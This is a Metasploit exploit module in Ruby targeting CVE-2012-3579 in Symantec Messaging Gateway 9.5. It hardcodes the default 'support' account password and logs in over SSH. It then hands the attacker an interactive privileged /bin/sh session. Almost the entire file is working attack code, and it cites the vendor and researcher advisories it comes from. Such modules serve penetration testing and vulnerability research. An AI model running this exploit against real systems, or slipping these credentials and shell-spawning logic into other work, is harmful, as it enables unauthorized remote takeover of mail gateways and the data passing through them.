##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Auxiliary::CommandShell
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",
'Description' => %q{
This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.
The 'support' user has a known default password, which can be used to login to the
SSH service, and gain privileged access from remote.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stefan Viehbock', #Original discovery
'Ben Williams', #Reporting the vuln + coordinated release
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-3579'],
['OSVDB', '85028'],
['BID', '55143'],
['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']
],
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Messaging Gateway 9.5', {}],
],
'Privileged' => true,
#Timestamp on Symantec advisory
#But was found on Jun 26, 2012
'DisclosureDate' => "Aug 27 2012",
'DefaultTarget' => 0))
register_options(
[
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:disable_agent => true,
:config => false,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
ssh = nil
return conn
end
return nil
end
def exploit
user = 'support'
pass = 'symantec'
print_status("#{rhost}:#{rport} - Attempt to login...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
handler(conn.lsock)
end
end
end